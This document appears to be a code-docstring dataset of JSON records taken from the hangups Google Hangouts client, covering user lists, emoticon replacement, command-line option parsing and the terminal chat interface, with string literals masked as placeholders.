{"signature": "@staticmethod<EOL><INDENT>def from_entity(entity, self_user_id):<DEDENT>", "body": "user_id = UserID(chat_id=entity.id.chat_id,<EOL>gaia_id=entity.id.gaia_id)<EOL>return User(user_id, entity.properties.display_name,<EOL>entity.properties.first_name,<EOL>entity.properties.photo_url,<EOL>entity.properties.email,<EOL>(self_user_id == user_id) or (self_user_id is None))<EOL>", "docstring": "Construct user from ``Entity`` message.\n\n        Args:\n            entity: ``Entity`` message.\n            self_user_id (~hangups.user.UserID or None): The ID of the current\n                user. If ``None``, assume ``entity`` is the current user.\n\n        Returns:\n            :class:`~hangups.user.User` object.", "id": "f10033:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def from_conv_part_data(conv_part_data, self_user_id):<DEDENT>", "body": "user_id = UserID(chat_id=conv_part_data.id.chat_id,<EOL>gaia_id=conv_part_data.id.gaia_id)<EOL>return User(user_id, conv_part_data.fallback_name, None, None, [],<EOL>(self_user_id == user_id) or (self_user_id is None))<EOL>", "docstring": "Construct user from ``ConversationParticipantData`` message.\n\n        Args:\n            conv_part_id: ``ConversationParticipantData`` message.\n            self_user_id (~hangups.user.UserID or None): The ID of the current\n                user. If ``None``, assume ``conv_part_id`` is the current user.\n\n        Returns:\n            :class:`~hangups.user.User` object.", "id": "f10033:c0:m3"}
{"signature": "def get_user(self, user_id):", "body": "try:<EOL><INDENT>return self._user_dict[user_id]<EOL><DEDENT>except KeyError:<EOL><INDENT>logger.warning('<STR_LIT>',<EOL>user_id)<EOL>return User(user_id, None, None, None, [], False)<EOL><DEDENT>", "docstring": "Get a user by its ID.\n\n        Args:\n            user_id (~hangups.user.UserID): The ID of the user.\n\n        Raises:\n            KeyError: If no such user is known.\n\n        Returns:\n            :class:`~hangups.user.User` with the given ID.", "id": "f10033:c1:m1"}
{"signature": "def get_all(self):", "body": "return self._user_dict.values()<EOL>", "docstring": "Get all known users.\n\n        Returns:\n            List of :class:`~hangups.user.User` instances.", "id": "f10033:c1:m2"}
{"signature": "def _add_user_from_conv_part(self, conv_part):", "body": "user_ = User.from_conv_part_data(conv_part, self._self_user.id_)<EOL>existing = self._user_dict.get(user_.id_)<EOL>if existing is None:<EOL><INDENT>logger.warning('<STR_LIT>',<EOL>user_.name_type.name.lower(), user_.full_name)<EOL>self._user_dict[user_.id_] = user_<EOL>return user_<EOL><DEDENT>else:<EOL><INDENT>existing.upgrade_name(user_)<EOL>return existing<EOL><DEDENT>", "docstring": "Add or upgrade User from ConversationParticipantData.", "id": "f10033:c1:m3"}
{"signature": "def _on_state_update(self, state_update):", "body": "if state_update.HasField('<STR_LIT>'):<EOL><INDENT>self._handle_conversation(state_update.conversation)<EOL><DEDENT>", "docstring": "Receive a StateUpdate", "id": "f10033:c1:m4"}
{"signature": "def _handle_conversation(self, conversation):", "body": "for participant in conversation.participant_data:<EOL><INDENT>self._add_user_from_conv_part(participant)<EOL><DEDENT>", "docstring": "Receive Conversation and update list of users", "id": "f10033:c1:m5"}
{"signature": "def replace_emoticons(string):", "body": "return _replace_words(HANGOUTS_EMOTICONS_TO_EMOJI, string)<EOL>", "docstring": "Replace emoticon words in string with corresponding emoji.", "id": "f10034:m0"}
{"signature": "def _replace_words(replacements, string):", "body": "output_lines = []<EOL>for line in string.split('<STR_LIT:\\n>'):<EOL><INDENT>output_words = []<EOL>for word in line.split('<STR_LIT:U+0020>'):<EOL><INDENT>new_word = replacements.get(word, word)<EOL>output_words.append(new_word)<EOL><DEDENT>output_lines.append(output_words)<EOL><DEDENT>return '<STR_LIT:\\n>'.join('<STR_LIT:U+0020>'.join(output_words) for output_words in output_lines)<EOL>", "docstring": "Replace words with corresponding values in replacements dict.\n\n    Words must be separated by spaces or newlines.", "id": "f10034:m1"}
{"signature": "def send(self, notification):", "body": "pass<EOL>", "docstring": "Send a notification.", "id": "f10035:c0:m0"}
{"signature": "def set_terminal_title(title):", "body": "sys.stdout.write(\"<STR_LIT>\".format(title))<EOL>", "docstring": "Use an xterm escape sequence to set the terminal title.", "id": "f10036:m0"}
{"signature": "@contextlib.contextmanager<EOL>def bracketed_paste_mode():", "body": "sys.stdout.write('<STR_LIT>')<EOL>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>sys.stdout.write('<STR_LIT>')<EOL><DEDENT>", "docstring": "Context manager for enabling/disabling bracketed paste mode.", "id": "f10036:m1"}
{"signature": "def dir_maker(path):", "body": "directory = os.path.dirname(path)<EOL>if directory != '<STR_LIT>' and not os.path.isdir(directory):<EOL><INDENT>try:<EOL><INDENT>os.makedirs(directory)<EOL><DEDENT>except OSError as e:<EOL><INDENT>sys.exit('<STR_LIT>'.format(e))<EOL><DEDENT><DEDENT>", "docstring": "Create a directory if it does not exist.", "id": "f10036:m2"}
{"signature": "def main():", "body": "<EOL>dirs = appdirs.AppDirs('<STR_LIT>', '<STR_LIT>')<EOL>default_log_path = os.path.join(dirs.user_log_dir, '<STR_LIT>')<EOL>default_token_path = os.path.join(dirs.user_cache_dir, '<STR_LIT>')<EOL>default_config_path = '<STR_LIT>'<EOL>user_config_path = os.path.join(dirs.user_config_dir, '<STR_LIT>')<EOL>dir_maker(user_config_path)<EOL>if not os.path.isfile(user_config_path):<EOL><INDENT>with open(user_config_path, '<STR_LIT:a>') as cfg:<EOL><INDENT>cfg.write(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>parser = configargparse.ArgumentParser(<EOL>prog='<STR_LIT>', default_config_files=[default_config_path,<EOL>user_config_path],<EOL>formatter_class=configargparse.ArgumentDefaultsHelpFormatter,<EOL>add_help=False,  <EOL>)<EOL>general_group = parser.add_argument_group('<STR_LIT>')<EOL>general_group.add('<STR_LIT>', '<STR_LIT>', action='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>general_group.add('<STR_LIT>', default=default_token_path,<EOL>help='<STR_LIT>')<EOL>general_group.add('<STR_LIT>', default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>general_group.add('<STR_LIT>', default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>general_group.add('<STR_LIT:-c>', '<STR_LIT>', help='<STR_LIT>',<EOL>is_config_file=True, default=user_config_path)<EOL>general_group.add('<STR_LIT>', '<STR_LIT>', action='<STR_LIT:version>',<EOL>version='<STR_LIT>'.format(hangups.__version__))<EOL>general_group.add('<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>')<EOL>general_group.add('<STR_LIT>', action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>')<EOL>general_group.add('<STR_LIT>', default=default_log_path, help='<STR_LIT>')<EOL>key_group = parser.add_argument_group('<STR_LIT>')<EOL>key_group.add('<STR_LIT>', default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>key_group.add('<STR_LIT>', default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>key_group.add('<STR_LIT>', default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>key_group.add('<STR_LIT>', default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>key_group.add('<STR_LIT>', default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>key_group.add('<STR_LIT>', default='<STR_LIT:k>',<EOL>help='<STR_LIT>')<EOL>key_group.add('<STR_LIT>', default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>key_group.add('<STR_LIT>', default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>key_group.add('<STR_LIT>', default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>notification_group = parser.add_argument_group('<STR_LIT>')<EOL>notification_group.add('<STR_LIT>', '<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>help=configargparse.SUPPRESS)<EOL>notification_group.add('<STR_LIT>', '<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>')<EOL>notification_group.add('<STR_LIT>',<EOL>choices=sorted(NOTIFIER_TYPES.keys()),<EOL>default='<STR_LIT:default>',<EOL>help='<STR_LIT>')<EOL>col_group = parser.add_argument_group('<STR_LIT>')<EOL>col_group.add('<STR_LIT>', choices=COL_SCHEMES.keys(),<EOL>default='<STR_LIT:default>', help='<STR_LIT>')<EOL>col_group.add('<STR_LIT>', choices=('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'),<EOL>default=<NUM_LIT:16>, help='<STR_LIT>')<EOL>for name in COL_SCHEME_NAMES:<EOL><INDENT>col_group.add('<STR_LIT>' + name.replace('<STR_LIT:_>', '<STR_LIT:->') + '<STR_LIT>',<EOL>help=name + '<STR_LIT>')<EOL>col_group.add('<STR_LIT>' + name.replace('<STR_LIT:_>', '<STR_LIT:->') + '<STR_LIT>',<EOL>help=name + '<STR_LIT>')<EOL><DEDENT>args = parser.parse_args()<EOL>for path in [args.log, args.token_path]:<EOL><INDENT>dir_maker(path)<EOL><DEDENT>logging.basicConfig(filename=args.log,<EOL>level=logging.DEBUG if args.debug else logging.WARNING,<EOL>format=LOG_FORMAT)<EOL>logging.getLogger('<STR_LIT>').setLevel(logging.WARNING)<EOL>datetimefmt = {'<STR_LIT:date>': args.date_format,<EOL>'<STR_LIT:time>': args.time_format}<EOL>palette_colors = int(args.col_palette_colors)<EOL>col_scheme = COL_SCHEMES[args.col_scheme]<EOL>for name in COL_SCHEME_NAMES:<EOL><INDENT>col_scheme = add_color_to_scheme(col_scheme, name,<EOL>getattr(args, '<STR_LIT>' + name + '<STR_LIT>'),<EOL>getattr(args, '<STR_LIT>' + name + '<STR_LIT>'),<EOL>palette_colors)<EOL><DEDENT>keybindings = {<EOL>'<STR_LIT>': args.key_next_tab,<EOL>'<STR_LIT>': args.key_prev_tab,<EOL>'<STR_LIT>': args.key_close_tab,<EOL>'<STR_LIT>': args.key_quit,<EOL>'<STR_LIT>': args.key_menu,<EOL>'<STR_LIT>': args.key_up,<EOL>'<STR_LIT>': args.key_down,<EOL>'<STR_LIT>': args.key_page_up,<EOL>'<STR_LIT>': args.key_page_down,<EOL>}<EOL>notifier_ = get_notifier(<EOL>args.notification_type, args.disable_notifications<EOL>)<EOL>try:<EOL><INDENT>ChatUI(<EOL>args.token_path, keybindings, col_scheme, palette_colors,<EOL>datetimefmt, notifier_, args.discreet_notifications,<EOL>args.manual_login<EOL>)<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>sys.exit('<STR_LIT>')<EOL><DEDENT>", "docstring": "Main entry point.", "id": "f10036:m4"}
{"signature": "def __init__(self, refresh_token_path, keybindings, palette,<EOL>palette_colors, datetimefmt, notifier_,<EOL>discreet_notifications, manual_login):", "body": "self._keys = keybindings<EOL>self._datetimefmt = datetimefmt<EOL>self._notifier = notifier_<EOL>self._discreet_notifications = discreet_notifications<EOL>set_terminal_title('<STR_LIT>')<EOL>self._conv_widgets = {}  <EOL>self._tabbed_window = None  <EOL>self._conv_list = None  <EOL>self._user_list = None  <EOL>self._coroutine_queue = CoroutineQueue()<EOL>self._exception = None<EOL>try:<EOL><INDENT>cookies = hangups.auth.get_auth_stdin(<EOL>refresh_token_path, manual_login<EOL>)<EOL><DEDENT>except hangups.GoogleAuthError as e:<EOL><INDENT>sys.exit('<STR_LIT>'.format(e))<EOL><DEDENT>self._client = hangups.Client(cookies)<EOL>self._client.on_connect.add_observer(self._on_connect)<EOL>loop = asyncio.get_event_loop()<EOL>loop.set_exception_handler(self._exception_handler)<EOL>try:<EOL><INDENT>self._urwid_loop = urwid.MainLoop(<EOL>LoadingWidget(), palette, handle_mouse=False,<EOL>input_filter=self._input_filter,<EOL>event_loop=urwid.AsyncioEventLoop(loop=loop)<EOL>)<EOL><DEDENT>except urwid.AttrSpecError as e:<EOL><INDENT>sys.exit(e)<EOL><DEDENT>self._urwid_loop.screen.set_terminal_properties(colors=palette_colors)<EOL>self._urwid_loop.start()<EOL>coros = [self._connect(), self._coroutine_queue.consume()]<EOL>with bracketed_paste_mode():<EOL><INDENT>try:<EOL><INDENT>loop.run_until_complete(asyncio.gather(*coros))<EOL><DEDENT>except HangupsDisconnected:<EOL><INDENT>pass<EOL><DEDENT>finally:<EOL><INDENT>self._urwid_loop.stop()<EOL>task = asyncio.gather(*coros, return_exceptions=True)<EOL>task.cancel()<EOL>try:<EOL><INDENT>loop.run_until_complete(task)<EOL><DEDENT>except asyncio.CancelledError:<EOL><INDENT>pass<EOL><DEDENT>loop.close()<EOL><DEDENT><DEDENT>if self._exception:<EOL><INDENT>raise self._exception<EOL><DEDENT>", "docstring": "Start the user interface.", "id": "f10036:c1:m0"}
{"signature": "def _exception_handler(self, _loop, context):", "body": "<EOL>self._coroutine_queue.put(self._client.disconnect())<EOL>default_exception = Exception(context.get('<STR_LIT:message>'))<EOL>self._exception = context.get('<STR_LIT>', default_exception)<EOL>", "docstring": "Handle exceptions from the asyncio loop.", "id": "f10036:c1:m2"}
{"signature": "def _input_filter(self, keys, _):", "body": "if keys == [self._keys['<STR_LIT>']]:<EOL><INDENT>if self._urwid_loop.widget == self._tabbed_window:<EOL><INDENT>self._show_menu()<EOL><DEDENT>else:<EOL><INDENT>self._hide_menu()<EOL><DEDENT><DEDENT>elif keys == [self._keys['<STR_LIT>']]:<EOL><INDENT>self._coroutine_queue.put(self._client.disconnect())<EOL><DEDENT>else:<EOL><INDENT>return keys<EOL><DEDENT>", "docstring": "Handle global keybindings.", "id": "f10036:c1:m3"}
{"signature": "def _show_menu(self):", "body": "<EOL>current_widget = self._tabbed_window.get_current_widget()<EOL>if hasattr(current_widget, '<STR_LIT>'):<EOL><INDENT>menu_widget = current_widget.get_menu_widget(self._hide_menu)<EOL>overlay = urwid.Overlay(menu_widget, self._tabbed_window,<EOL>align='<STR_LIT>', width=('<STR_LIT>', <NUM_LIT>),<EOL>valign='<STR_LIT>', height=('<STR_LIT>', <NUM_LIT>))<EOL>self._urwid_loop.widget = overlay<EOL><DEDENT>", "docstring": "Show the overlay menu.", "id": "f10036:c1:m4"}
{"signature": "def _hide_menu(self):", "body": "self._urwid_loop.widget = self._tabbed_window<EOL>", "docstring": "Hide the overlay menu.", "id": "f10036:c1:m5"}
{"signature": "def get_conv_widget(self, conv_id):", "body": "if conv_id not in self._conv_widgets:<EOL><INDENT>set_title_cb = (lambda widget, title:<EOL>self._tabbed_window.set_tab(widget, title=title))<EOL>widget = ConversationWidget(<EOL>self._client, self._coroutine_queue,<EOL>self._conv_list.get(conv_id), set_title_cb, self._keys,<EOL>self._datetimefmt<EOL>)<EOL>self._conv_widgets[conv_id] = widget<EOL><DEDENT>return self._conv_widgets[conv_id]<EOL>", "docstring": "Return an existing or new ConversationWidget.", "id": "f10036:c1:m6"}
{"signature": "def add_conversation_tab(self, conv_id, switch=False):", "body": "conv_widget = self.get_conv_widget(conv_id)<EOL>self._tabbed_window.set_tab(conv_widget, switch=switch,<EOL>title=conv_widget.title)<EOL>", "docstring": "Add conversation tab if not present, and optionally switch to it.", "id": "f10036:c1:m7"}
{"signature": "def on_select_conversation(self, conv_id):", "body": "<EOL>self.add_conversation_tab(conv_id, switch=True)<EOL>", "docstring": "Called when the user selects a new conversation to listen to.", "id": "f10036:c1:m8"}
{"signature": "async def _on_connect(self):", "body": "self._user_list, self._conv_list = (<EOL>await hangups.build_user_conversation_list(self._client)<EOL>)<EOL>self._conv_list.on_event.add_observer(self._on_event)<EOL>conv_picker = ConversationPickerWidget(self._conv_list,<EOL>self.on_select_conversation,<EOL>self._keys)<EOL>self._tabbed_window = TabbedWindowWidget(self._keys)<EOL>self._tabbed_window.set_tab(conv_picker, switch=True,<EOL>title='<STR_LIT>')<EOL>self._urwid_loop.widget = self._tabbed_window<EOL>", "docstring": "Handle connecting for the first time.", "id": "f10036:c1:m9"}
{"signature": "def _on_event(self, conv_event):", "body": "conv = self._conv_list.get(conv_event.conversation_id)<EOL>user = conv.get_user(conv_event.user_id)<EOL>show_notification = all((<EOL>isinstance(conv_event, hangups.ChatMessageEvent),<EOL>not user.is_self,<EOL>not conv.is_quiet,<EOL>))<EOL>if show_notification:<EOL><INDENT>self.add_conversation_tab(conv_event.conversation_id)<EOL>if self._discreet_notifications:<EOL><INDENT>notification = DISCREET_NOTIFICATION<EOL><DEDENT>else:<EOL><INDENT>notification = notifier.Notification(<EOL>user.full_name, get_conv_name(conv), conv_event.text<EOL>)<EOL><DEDENT>self._notifier.send(notification)<EOL><DEDENT>", "docstring": "Open conversation tab for new messages & pass events to notifier.", "id": "f10036:c1:m10"}
{"signature": "def put(self, coro):", "body": "<EOL>assert asyncio.iscoroutine(coro)<EOL>self._queue.put_nowait(coro)<EOL>", "docstring": "Put a coroutine in the queue to be executed.", "id": "f10036:c2:m1"}
{"signature": "async def consume(self):", "body": "while True:<EOL><INDENT>coro = await self._queue.get()<EOL>assert asyncio.iscoroutine(coro)<EOL>await coro<EOL><DEDENT>", "docstring": "Consume coroutines from the queue by executing them.", "id": "f10036:c2:m2"}
{"signature": "def keypress(self, size, key):", "body": "<EOL>return super().keypress(size, key)<EOL>", "docstring": "forward the call", "id": "f10036:c3:m0"}
{"signature": "def _rename(self, name, callback):", "body": "self._coroutine_queue.put(self._conversation.rename(name))<EOL>callback()<EOL>", "docstring": "Rename conversation and call callback.", "id": "f10036:c5:m1"}
{"signature": "def _get_label(self):", "body": "return get_conv_name(self._conversation, show_unread=True)<EOL>", "docstring": "Return the button's label generated from the conversation.", "id": "f10036:c7:m1"}
{"signature": "def _on_event(self, _):", "body": "self._button.set_label(self._get_label())<EOL>", "docstring": "Update the button's label when an event occurs.", "id": "f10036:c7:m2"}
{"signature": "@property<EOL><INDENT>def last_modified(self):<DEDENT>", "body": "return self._conversation.last_modified<EOL>", "docstring": "Last modified date of conversation, used for sorting.", "id": "f10036:c7:m3"}
{"signature": "def _on_event(self, _):", "body": "<EOL>self.sort(key=lambda conv_button: conv_button.last_modified,<EOL>reverse=True)<EOL>", "docstring": "Re-order the conversations when an event occurs.", "id": "f10036:c8:m1"}
{"signature": "def show_message(self, message_str):", "body": "if self._message_handle is not None:<EOL><INDENT>self._message_handle.cancel()<EOL><DEDENT>self._message_handle = asyncio.get_event_loop().call_later(<EOL>self._MESSAGE_DELAY_SECS, self._clear_message<EOL>)<EOL>self._message = message_str<EOL>self._update()<EOL>", "docstring": "Show a temporary message.", "id": "f10036:c12:m1"}
{"signature": "def _clear_message(self):", "body": "self._message = None<EOL>self._message_handle = None<EOL>self._update()<EOL>", "docstring": "Clear the temporary message.", "id": "f10036:c12:m2"}
{"signature": "def _on_disconnect(self):", "body": "self._is_connected = False<EOL>self._update()<EOL>", "docstring": "Show reconnecting message when disconnected.", "id": "f10036:c12:m3"}
{"signature": "def _on_reconnect(self):", "body": "self._is_connected = True<EOL>self._update()<EOL>", "docstring": "Hide reconnecting message when reconnected.", "id": "f10036:c12:m4"}
{"signature": "def _on_event(self, conv_event):", "body": "if isinstance(conv_event, hangups.ChatMessageEvent):<EOL><INDENT>self._typing_statuses[conv_event.user_id] = (<EOL>hangups.TYPING_TYPE_STOPPED<EOL>)<EOL>self._update()<EOL><DEDENT>", "docstring": "Make users stop typing when they send a message.", "id": "f10036:c12:m5"}
{"signature": "def _on_typing(self, typing_message):", "body": "self._typing_statuses[typing_message.user_id] = typing_message.status<EOL>self._update()<EOL>", "docstring": "Handle typing updates.", "id": "f10036:c12:m6"}
{"signature": "def _update(self):", "body": "typing_users = [self._conversation.get_user(user_id)<EOL>for user_id, status in self._typing_statuses.items()<EOL>if status == hangups.TYPING_TYPE_STARTED]<EOL>displayed_names = [user.first_name for user in typing_users<EOL>if not user.is_self]<EOL>if displayed_names:<EOL><INDENT>typing_message = '<STR_LIT>'.format(<EOL>'<STR_LIT:U+002CU+0020>'.join(sorted(displayed_names)),<EOL>'<STR_LIT>' if len(displayed_names) == <NUM_LIT:1> else '<STR_LIT>'<EOL>)<EOL><DEDENT>else:<EOL><INDENT>typing_message = '<STR_LIT>'<EOL><DEDENT>if not self._is_connected:<EOL><INDENT>self._widget.set_text(\"<STR_LIT>\")<EOL><DEDENT>elif self._message is not None:<EOL><INDENT>self._widget.set_text(self._message)<EOL><DEDENT>else:<EOL><INDENT>self._widget.set_text(typing_message)<EOL><DEDENT>", "docstring": "Update status text.", "id": "f10036:c12:m7"}
{"signature": "@staticmethod<EOL><INDENT>def _get_date_str(timestamp, datetimefmt, show_date=False):<DEDENT>", "body": "fmt = '<STR_LIT>'<EOL>if show_date:<EOL><INDENT>fmt += '<STR_LIT:\\n>'+datetimefmt.get('<STR_LIT:date>', '<STR_LIT>')+'<STR_LIT:\\n>'<EOL><DEDENT>fmt += datetimefmt.get('<STR_LIT:time>', '<STR_LIT>')<EOL>return timestamp.astimezone(tz=None).strftime(fmt)<EOL>", "docstring": "Convert UTC datetime into user interface string.", "id": "f10036:c13:m1"}
{"signature": "@staticmethod<EOL><INDENT>def from_conversation_event(conversation, conv_event, prev_conv_event,<EOL>datetimefmt, watermark_users=None):<DEDENT>", "body": "user = conversation.get_user(conv_event.user_id)<EOL>if prev_conv_event is not None:<EOL><INDENT>is_new_day = (conv_event.timestamp.astimezone(tz=None).date() !=<EOL>prev_conv_event.timestamp.astimezone(tz=None).date())<EOL><DEDENT>else:<EOL><INDENT>is_new_day = False<EOL><DEDENT>if isinstance(conv_event, hangups.ChatMessageEvent):<EOL><INDENT>return MessageWidget(conv_event.timestamp, conv_event.text,<EOL>datetimefmt, user, show_date=is_new_day,<EOL>watermark_users=watermark_users)<EOL><DEDENT>elif isinstance(conv_event, hangups.RenameEvent):<EOL><INDENT>if conv_event.new_name == '<STR_LIT>':<EOL><INDENT>text = ('<STR_LIT>'<EOL>.format(user.first_name))<EOL><DEDENT>else:<EOL><INDENT>text = ('<STR_LIT>'<EOL>.format(user.first_name, conv_event.new_name))<EOL><DEDENT>return MessageWidget(conv_event.timestamp, text, datetimefmt,<EOL>show_date=is_new_day,<EOL>watermark_users=watermark_users)<EOL><DEDENT>elif isinstance(conv_event, hangups.MembershipChangeEvent):<EOL><INDENT>event_users = [conversation.get_user(user_id) for user_id<EOL>in conv_event.participant_ids]<EOL>names = '<STR_LIT:U+002CU+0020>'.join([user.full_name for user in event_users])<EOL>if conv_event.type_ == hangups.MEMBERSHIP_CHANGE_TYPE_JOIN:<EOL><INDENT>text = ('<STR_LIT>'<EOL>.format(user.first_name, names))<EOL><DEDENT>else:  <EOL><INDENT>text = ('<STR_LIT>'.format(names))<EOL><DEDENT>return MessageWidget(conv_event.timestamp, text, datetimefmt,<EOL>show_date=is_new_day,<EOL>watermark_users=watermark_users)<EOL><DEDENT>elif isinstance(conv_event, hangups.HangoutEvent):<EOL><INDENT>text = {<EOL>hangups.HANGOUT_EVENT_TYPE_START: (<EOL>'<STR_LIT>'<EOL>),<EOL>hangups.HANGOUT_EVENT_TYPE_END: (<EOL>'<STR_LIT>'<EOL>),<EOL>hangups.HANGOUT_EVENT_TYPE_ONGOING: (<EOL>'<STR_LIT>'<EOL>),<EOL>}.get(conv_event.event_type, '<STR_LIT>')<EOL>return MessageWidget(conv_event.timestamp, text, datetimefmt,<EOL>show_date=is_new_day,<EOL>watermark_users=watermark_users)<EOL><DEDENT>elif isinstance(conv_event, hangups.GroupLinkSharingModificationEvent):<EOL><INDENT>status_on = hangups.GROUP_LINK_SHARING_STATUS_ON<EOL>status_text = ('<STR_LIT>' if conv_event.new_status == status_on<EOL>else '<STR_LIT>')<EOL>text = '<STR_LIT>'.format(user.first_name,<EOL>status_text)<EOL>return MessageWidget(conv_event.timestamp, text, datetimefmt,<EOL>show_date=is_new_day,<EOL>watermark_users=watermark_users)<EOL><DEDENT>else:<EOL><INDENT>text = '<STR_LIT>'<EOL>return MessageWidget(conv_event.timestamp, text, datetimefmt,<EOL>show_date=is_new_day,<EOL>watermark_users=watermark_users)<EOL><DEDENT>", "docstring": "Return MessageWidget representing a ConversationEvent.\n\n        Returns None if the ConversationEvent does not have a widget\n        representation.", "id": "f10036:c13:m3"}
{"signature": "def _handle_event(self, conv_event):", "body": "if not self._is_scrolling:<EOL><INDENT>self.set_focus(conv_event.id_)<EOL><DEDENT>else:<EOL><INDENT>self._modified()<EOL><DEDENT>", "docstring": "Handle updating and scrolling when a new event is added.\n\n        Automatically scroll down to show the new text if the bottom is\n        showing. This allows the user to scroll up to read previous messages\n        while new messages are arriving.", "id": "f10036:c14:m1"}
{"signature": "async def _load(self):", "body": "try:<EOL><INDENT>conv_events = await self._conversation.get_events(<EOL>self._conversation.events[<NUM_LIT:0>].id_<EOL>)<EOL><DEDENT>except (IndexError, hangups.NetworkError):<EOL><INDENT>conv_events = []<EOL><DEDENT>if not conv_events:<EOL><INDENT>self._first_loaded = True<EOL><DEDENT>if self._focus_position == self.POSITION_LOADING and conv_events:<EOL><INDENT>self.set_focus(conv_events[-<NUM_LIT:1>].id_)<EOL><DEDENT>else:<EOL><INDENT>self._modified()<EOL><DEDENT>self._refresh_watermarked_events()<EOL>self._is_loading = False<EOL>", "docstring": "Load more events for this conversation.", "id": "f10036:c14:m2"}
{"signature": "def __getitem__(self, position):", "body": "if position == self.POSITION_LOADING:<EOL><INDENT>if self._first_loaded:<EOL><INDENT>return urwid.Text('<STR_LIT>', align='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if not self._is_loading and not self._first_loaded:<EOL><INDENT>self._is_loading = True<EOL>self._coroutine_queue.put(self._load())<EOL><DEDENT>return urwid.Text('<STR_LIT>', align='<STR_LIT>')<EOL><DEDENT><DEDENT>try:<EOL><INDENT>prev_position = self._get_position(position, prev=True)<EOL>if prev_position == self.POSITION_LOADING:<EOL><INDENT>prev_event = None<EOL><DEDENT>else:<EOL><INDENT>prev_event = self._conversation.get_event(prev_position)<EOL><DEDENT>return MessageWidget.from_conversation_event(<EOL>self._conversation, self._conversation.get_event(position),<EOL>prev_event, self._datetimefmt,<EOL>watermark_users=self._watermarked_events.get(position, None)<EOL>)<EOL><DEDENT>except KeyError:<EOL><INDENT>raise IndexError('<STR_LIT>'.format(position))<EOL><DEDENT>", "docstring": "Return widget at position or raise IndexError.", "id": "f10036:c14:m3"}
{"signature": "def _on_watermark_notification(self, _):", "body": "self._refresh_watermarked_events()<EOL>self._modified()<EOL>", "docstring": "Update watermarks for this conversation.", "id": "f10036:c14:m6"}
{"signature": "def _get_position(self, position, prev=False):", "body": "if position == self.POSITION_LOADING:<EOL><INDENT>if prev:<EOL><INDENT>raise IndexError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return self._conversation.events[<NUM_LIT:0>].id_<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ev = self._conversation.next_event(position, prev=prev)<EOL>if ev is None:<EOL><INDENT>if prev:<EOL><INDENT>return self.POSITION_LOADING<EOL><DEDENT>else:<EOL><INDENT>raise IndexError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return ev.id_<EOL><DEDENT><DEDENT>", "docstring": "Return the next/previous position or raise IndexError.", "id": "f10036:c14:m7"}
{"signature": "def next_position(self, position):", "body": "return self._get_position(position)<EOL>", "docstring": "Return the position below position or raise IndexError.", "id": "f10036:c14:m8"}
{"signature": "def prev_position(self, position):", "body": "return self._get_position(position, prev=True)<EOL>", "docstring": "Return the position above position or raise IndexError.", "id": "f10036:c14:m9"}
{"signature": "def set_focus(self, position):", "body": "self._focus_position = position<EOL>self._modified()<EOL>try:<EOL><INDENT>self.next_position(position)<EOL><DEDENT>except IndexError:<EOL><INDENT>self._is_scrolling = False<EOL><DEDENT>else:<EOL><INDENT>self._is_scrolling = True<EOL><DEDENT>", "docstring": "Set the focus to position or raise IndexError.", "id": "f10036:c14:m10"}
{"signature": "def get_focus(self):", "body": "return (self[self._focus_position], self._focus_position)<EOL>", "docstring": "Return (widget, position) tuple.", "id": "f10036:c14:m11"}
{"signature": "def get_menu_widget(self, close_callback):", "body": "return ConversationMenu(<EOL>self._coroutine_queue, self._conversation, close_callback,<EOL>self._keys<EOL>)<EOL>", "docstring": "Return the menu widget associated with this widget.", "id": "f10036:c15:m1"}
{"signature": "def keypress(self, size, key):", "body": "<EOL>self._coroutine_queue.put(self._client.set_active())<EOL>self._coroutine_queue.put(self._conversation.update_read_timestamp())<EOL>return super().keypress(size, key)<EOL>", "docstring": "Handle marking messages as read and keeping client active.", "id": "f10036:c15:m2"}
{"signature": "def _set_title(self):", "body": "self.title = get_conv_name(self._conversation, show_unread=True,<EOL>truncate=True)<EOL>self._set_title_cb(self, self.title)<EOL>", "docstring": "Update this conversation's tab title.", "id": "f10036:c15:m3"}
{"signature": "def _on_return(self, text):", "body": "<EOL>if not text:<EOL><INDENT>return<EOL><DEDENT>elif text.startswith('<STR_LIT>') and len(text.split('<STR_LIT:U+0020>')) == <NUM_LIT:2>:<EOL><INDENT>filename = text.split('<STR_LIT:U+0020>')[<NUM_LIT:1>]<EOL>image_file = open(filename, '<STR_LIT:rb>')<EOL>text = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>image_file = None<EOL><DEDENT>text = replace_emoticons(text)<EOL>segments = hangups.ChatMessageSegment.from_str(text)<EOL>self._coroutine_queue.put(<EOL>self._handle_send_message(<EOL>self._conversation.send_message(<EOL>segments, image_file=image_file<EOL>)<EOL>)<EOL>)<EOL>", "docstring": "Called when the user presses return on the send message widget.", "id": "f10036:c15:m4"}
{"signature": "async def _handle_send_message(self, coro):", "body": "try:<EOL><INDENT>await coro<EOL><DEDENT>except hangups.NetworkError:<EOL><INDENT>self._status_widget.show_message('<STR_LIT>')<EOL><DEDENT>", "docstring": "Handle showing an error if a message fails to send.", "id": "f10036:c15:m5"}
{"signature": "def _on_watermark_notification(self, _):", "body": "<EOL>self._set_title()<EOL>", "docstring": "Handle watermark changes for this conversation.", "id": "f10036:c15:m6"}
